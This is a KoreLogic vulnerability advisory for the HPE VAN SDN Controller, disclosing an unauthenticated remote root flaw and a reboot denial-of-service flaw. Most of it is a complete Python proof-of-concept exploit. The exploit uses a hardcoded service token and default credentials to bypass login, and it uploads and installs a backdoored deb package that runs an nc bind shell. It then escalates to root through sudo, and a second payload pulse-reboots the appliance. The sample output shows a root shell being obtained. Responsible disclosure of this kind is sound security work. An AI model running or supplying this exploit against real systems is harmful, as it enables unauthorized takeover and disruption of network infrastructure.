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Date: Mon, 25 Jun 2018 13:11:00 -0500
From: KoreLogic Disclosures <disclosures@...elogic.com>
To: fulldisclosure@...lists.org, bugtraq@...urityfocus.com
Subject: KL-001-2018-008 : HPE VAN SDN Unauthenticated Remote Root
 Vulnerability

KL-001-2018-008 : HPE VAN SDN Unauthenticated Remote Root Vulnerability

Title: HPE VAN SDN Unauthenticated Remote Root Vulnerability
Advisory ID: KL-001-2018-008
Publication Date: 2018.06.25
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2018-008.txt


1. Vulnerability Details

     Affected Vendor: HP Enterprise
     Affected Product: VAN SDN Controller
     Affected Version: 2.7.18.0503
     Platform: Embedded Linux
     CWE Classification: CWE-798: Use of Hard-coded Credentials,
                         CWE-20: Improper Input Validation
     Impact: Privilege Escalation
     Attack vector: HTTP

2. Vulnerability Description

     A hardcoded service token can be used to bypass
     authentication. Built-in functionality can be exploited
     to deploy and execute a malicious deb file containing a
     backdoor. A weak sudoers configuration can then be abused to
     escalate privileges to root. A second issue can be used to
     deny use of the appliance by continually rebooting it.

3. Technical Description

     The exploit will automatically attempt to bypass authentication
     unless the --no-auth-bypass flag is provided. If that flag is
     provided, the --username and --password flags must also be given.

     The options for the --payload flag are: rce-root and
     pulse-reboot. The default option is rce-root. The pulse-reboot
     payload will reboot the target device until the attack is stopped.

     $ python hpevansdn-multiple_exploits.py --help
     HPE VAN SDN Controller 2.7.18.0503
     Unauthenticated Remote Root and Denial-of-Service

     Usage: hpevansdn-multiple_exploits.py [options]

     Options:
       -h, --help           show this help message and exit
       --target=REMOTE_IP   Target IP address
       --no-auth-bypass     No authentication bypass
       --username=USERNAME  Username (Default: sdn)
       --password=PASSWORD  Password (Default: skyline)
       --payload=PAYLOAD    Payload: rce-root(default), pulse-reboot

     Below is output for the rce-root payload:

     $ python hpevansdn-multiple_exploits.py --target 1.3.3.7
     HPE VAN SDN Controller 2.7.18.0503
     Unauthenticated Remote Root and Denial-of-Service

     [+] Authentication successfully bypassed.
     [-] Starting remote root exploit.
     [-] Building backdoor.
     [-] Uploading backdoor.
     [+] Upload successful.
     [-] Installing backdoor.
     [+] Starting backdoor on port 49370.
     [+] Connected to backdoor.
          * For interactive root shell please run /var/lib/sdn/uploads/root-V6mlQNqW
     id
     uid=108(sdnadmin) gid=1000(sdn) groups=1000(sdn)
     /var/lib/sdn/uploads/root-V6mlQNqW
     root@...ium-hLinux:/opt/sdn/admin# uname -a
     Linux medium-hLinux 4.4.0-2-amd64-hlinux #hlinux1 SMP Thu Jan 28 12:35:26 UTC 2016 x86_64 GNU/Linux
     root@...ium-hLinux:/opt/sdn/admin# exit
     [-] Removing backdoor.
     [+] Backdoor removed.

4. Mitigation and Remediation Recommendation

     The vendor issued the following statement:

     HPE had evaluated the impact of service token being
     leaked and previously updated the security procedure in
     VAN 2.8.8 Admin Guide page 129. The full guide is here -
     http://h20628.www2.hp.com/km-ext/kmcsdirect/emr_na-a00003662en_us-1.pdf.

     HPE expects all customers to update their service token,
     admin token, default sdn user password, and edit iptables as
     described in the guideline. If the guideline was followed,
     the exploit would not be successful.

5. Credit

     This vulnerability was discovered by Matt Bergin (@thatguylevel)
     of KoreLogic, Inc.

6. Disclosure Timeline

     2018.02.16 - KoreLogic submits vulnerability details to HPE.
     2018.02.16 - HPE acknowledges receipt.
     2018.04.02 - 30 business days have elapsed since the vulnerability
                  was reported to HPE.
     2018.04.23 - 45 business days have elapsed since the vulnerability
                  was reported to HPE.
     2018.05.04 - KoreLogic requests an update on the status of the
                  remediation.
     2018.05.14 - 60 business days have elapsed since the vulnerability
                  was reported to HPE.
     2018.06.05 - 75 business days have elapsed since the vulnerability
                  was reported to HPE.
     2018.06.11 - KoreLogic requests an update on the status of the
                  remediation.
     2018.06.12 - HPE responds with the statement documented in Section
                  4. Mitigation and Remediation Recommendation.
     2018.06.25 - KoreLogic public disclosure.

7. Proof of Concept

     from optparse import OptionParser
     from random import randrange,choice
     from threading import Thread
     from os import mkdir,makedirs,system,listdir,remove
     from string import ascii_letters,digits
     from subprocess import check_output
     from requests import get,post
     from requests.utils import dict_from_cookiejar
     from requests.exceptions import ConnectionError
     from time import sleep
     from sys import exit
     from json import dumps

     #################################
     # PULSE REBOOT TIMER IN SECONDS #
     pulse_timer = 60                #
     #################################

     banner = """HPE VAN SDN Controller 2.7.18.0503
     Unauthenticated Remote Root and Denial-of-Service
     """.center(80)

     class Backdoor:
         def __init__(self):
             ######################################################################################
             # ATTACK SHELL SCRIPT                                                                #
             self.backdoor_port = randrange(50000,55000)                                          #
             self.backdoor_script = """#!/bin/sh\nnc -l -p PORT -e /bin/bash &""" # DONT CHANGE   #
             self.backdoor_dir = '%s-1.0.0' % ''.join(                                            #
                 [choice(digits + ascii_letters) for i in xrange(8)]                              #
                 )                                                                                #
             self.backdoor_script = self.backdoor_script.replace('PORT',str(self.backdoor_port))  #
             ######################################################################################
             self.cmd_name = ''.join([choice(digits + ascii_letters) for i in xrange(8)])
             return None
         def generate(self):
             print '[-] Building backdoor.'
             control_template = """Source: %s
     Section: misc
     Priority: extra
     Maintainer: None
     Homepage: http://127.0.0.1/
     Version: 1.0.0
     Package: %s
     Architecture: all
     Depends:
     Description: %s
     """ % (self.backdoor_dir,self.cmd_name,self.backdoor_dir)
             try:
                 mkdir(self.backdoor_dir)
                 mkdir('%s/%s' % (self.backdoor_dir,'DEBIAN'))
                 fp = open('%s/%s/control' % (self.backdoor_dir,'DEBIAN'),'w')
                 fp.write(control_template)
                 fp.close()
                 makedirs('%s/var/lib/sdn/uploads/tmp' % (self.backdoor_dir))
                 fp = open('%s/var/lib/sdn/uploads/tmp/%s' % (self.backdoor_dir,self.cmd_name),'w')
                 fp.write(self.backdoor_script)
                 fp.close()
                 fp = open('%s/var/lib/sdn/uploads/root-%s' % (self.backdoor_dir,self.cmd_name),'w')
                 fp.write("""#!/bin/sh\nsudo -u sdn /usr/bin/sudo python -c 'import pty;pty.spawn("/bin/bash")'""")
                 fp.close()
                 system('chmod a+x %s/var/lib/sdn/uploads/tmp/%s' % (self.backdoor_dir,self.cmd_name))
                 system('chmod a+x %s/var/lib/sdn/uploads/root-%s' % (self.backdoor_dir,self.cmd_name))
                 if "dpkg-deb: building package" not in check_output(
                     ['/usr/bin/dpkg-deb', '--build', '%s/' % (self.backdoor_dir)]
                     ):
                         print '[!] Could not build attack deb file. Reason: DPKG failure.'
             except Exception as e:
                 print '[!] Could not build attack deb file. Reason: %s.' % (e)
             return '%s.deb' % self.backdoor_dir,self.cmd_name,self.backdoor_port

     class HTTP:
         def __init__(self):
             return None
         def is_service_token_enabled(self):
             url = 'https://%s:8443/sdn/ui/app/rs/hpws/config' % (self.target)
             try:
                 r = get(url, headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent}, verify=False,
allow_redirects=False)
                 if r.status_code == 200:
                     return True
             except ConnectionError:
                 print '[!] Connection to target service failed.'
                 exit(1)
             return False
         def get_session_token(self):
             url = 'https://%s:8443/sdn/ui/app/login' % (self.target)
             try:
                 r = post(url, headers={"User-Agent":self.user_agent},verify=False, data="username=%s&password=%s" %
(self.username,self.password), allow_redirects=False)
                 if r.status_code == 303:
                     self.session_token = dict_from_cookiejar(r.cookies)['X-Auth-Token']
                     return True
             except ConnectionError:
                 print '[!] Connection to target service failed.'
                 exit(1)
             return False
         def upload_deb(self):
             print '[-] Uploading backdoor.'
             url = 'https://%s:8081/upload' % (self.target)
             try:
                 fp = open('%s' % (self.deb_name),'rb')
                 data = fp.read()
                 fp.close()
                 try:
                     r =
post(url,headers={"X-Auth-Token":self.session_token,"Filename":self.deb_name,"User-Agent":self.user_agent},verify=False,data=data)
                     if r.status_code == 200:
                         print '[+] Upload successful.'
                         return True
                     else:
                         print '[!] Upload failed. Please try again.'
                 except ConnectionError:
                     print '[!] Connection to target service failed.'
                     exit(1)
             except Exception as e:
                 print '[!] Failed to write backdoor to disk. Reason: %s.' % (e)
             return False
         def install_deb(self):
             print '[-] Installing backdoor.'
             url = 'https://%s:8081/' % (self.target)
             post_body = dumps({"action":"install","name":self.deb_name})
             try:
                 r =
post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body)
                 if r.status_code == 200:
                     return True
             except ConnectionError:
                 print '[!] Connection to target service failed.'
                 exit(1)
             return False
         def start_shell(self):
             print '[+] Starting backdoor on port %d.' % (self.backdoor_port)
             url = 'https://%s:8081/' % (self.target)
             post_body = dumps({"action":"exec","name":self.cmd_name})
             try:
                 r =
post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body)
                 if r.status_code == 200:
                     return True
             except ConnectionError:
                 print '[!] Connection to target service failed.'
                 exit(1)
             return False
         def uninstall_deb(self):
             print '[-] Removing backdoor.'
             url = 'https://%s:8081/' % (self.target)
             post_body = dumps({"action":"uninstall","name":self.deb_name})
             try:
                 r =
post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body)
                 if r.status_code == 200:
                     return True
             except ConnectionError:
                 print '[!] Connection to target service failed.'
                 exit(1)
             return False
         def send_reboot(self):
             print '[+] Sending reboot.'
             url = 'https://%s:8081/' % (self.target)
             post_body = dumps({"action":"reboot"})
             try:
                 r =
post(url,headers={"X-Auth-Token":self.session_token,"User-Agent":self.user_agent},verify=False,data=post_body)
             except ConnectionError:
                 print '[!] Connection to target service failed.'
                 exit(1)
             return False

     class Exploit(HTTP):
         def __init__(self,target=None,noauthbypass=None,
                      username=None,password=None,payload=None):
                         self.target = target
                         self.noauthbypass = noauthbypass
                         self.username = username
                         self.password = password
                         self.payload = payload
                         self.deb_name = ''
                         self.cmd_name = ''
                         self.backdoor_port = 0
                         self.session_token = 'AuroraSdnToken37'
                         self.user_agent = choice(['Mozilla/5.0 (X11; U; Linux x86_64; en-ca) AppleWebKit/531.2+ (KHTML,
like Gecko) Version/5.0 Safari/531.2+',
                                             'Mozilla/5.0 (Macintosh; U; PPC Mac OS X 10_4_11; it-it)
AppleWebKit/525.27.1 (KHTML, like Gecko) Version/3.2.1 Safari/525.27.1',
                                             'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0; SV1; .NET CLR
1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727)',
                                             'Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.10 (KHTML, like
Gecko) Ubuntu/10.10 Chromium/8.0.552.237 Chrome/8.0.552.237 Safari/534.10'])
                         return None
         def drop_root(self):
             sleep(3)
             print '[+] Connected to backdoor.\n\t* For interactive root shell please run /var/lib/sdn/uploads/root-%s'
% (self.cmd_name)
             system('nc %s %s' % (self.target,self.backdoor_port))
             return False
         def run(self):
             if not self.is_service_token_enabled() or self.noauthbypass == True:
                 print '[-] Authentication bypass failed or running with --no-auth-bypass. Attempting login.'
                 if not self.get_session_token():
                     print '[!] Login failed. Exploit failed.'
                     exit(1)
             else:
                 print '[+] Authentication successfully bypassed.'
             if self.payload == 'rce-root':
                 print '[-] Starting remote root exploit.'
                 self.deb_name, self.cmd_name, self.backdoor_port = Backdoor().generate()
                 if self.upload_deb():
                     if self.install_deb():
                         Thread(target=self.start_shell,args=(),name="shell-%s" % (self.cmd_name)).start()
                         try:
                             self.drop_root()
                         except KeyboardInterrupt:
                             print '[-] Disconnecting from backdoor.'
                             return True
                         if self.uninstall_deb():
                             print '[+] Backdoor removed.'
                         else:
                             print '[!] Could not remove backdoor.'
                         return True
                     else:
                         print '[!] Failed to install backdoor.'
                         exit(1)
                 else:
                     print '[!] Failed to upload backdoor.'
                     exit(1)
                 print "[-] Please remember to srm %s and the build directory %s/" %
(self.deb_name,self.deb_name.replace('.deb',''))
             else:
                 print '[-] Starting pulse reboot exploit.'
                 while True:
                     try:
                         self.send_reboot()
                         sleep(pulse_timer)
                     except KeyboardInterrupt:
                         print '[-] Reboot pulse Denial-of-Service stopped.'
                         break
             return False

     if __name__=="__main__":
         print banner
         parser = OptionParser()
         parser.add_option("--target",dest="remote_ip",default='',help="Target IP address")
         parser.add_option("--no-auth-bypass",action="store_true",default=False,help="No authentication bypass")
         parser.add_option("--username",dest="username",default="sdn",help="Username (Default: sdn)")
         parser.add_option("--password",dest="password",default="skyline",help="Password (Default: skyline)")
         parser.add_option("--payload",dest="payload",default='rce-root',help="Payload: rce-root(default), pulse-reboot")
         o, a = parser.parse_args()
         if o.remote_ip != '':
             Exploit(target=o.remote_ip,
                     noauthbypass=o.no_auth_bypass,
                     username=o.username,
                     password=o.password,
                     payload=o.payload).run()
         else:
             print '[!] --target must be supplied.'

The contents of this advisory are copyright(c) 2018
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt



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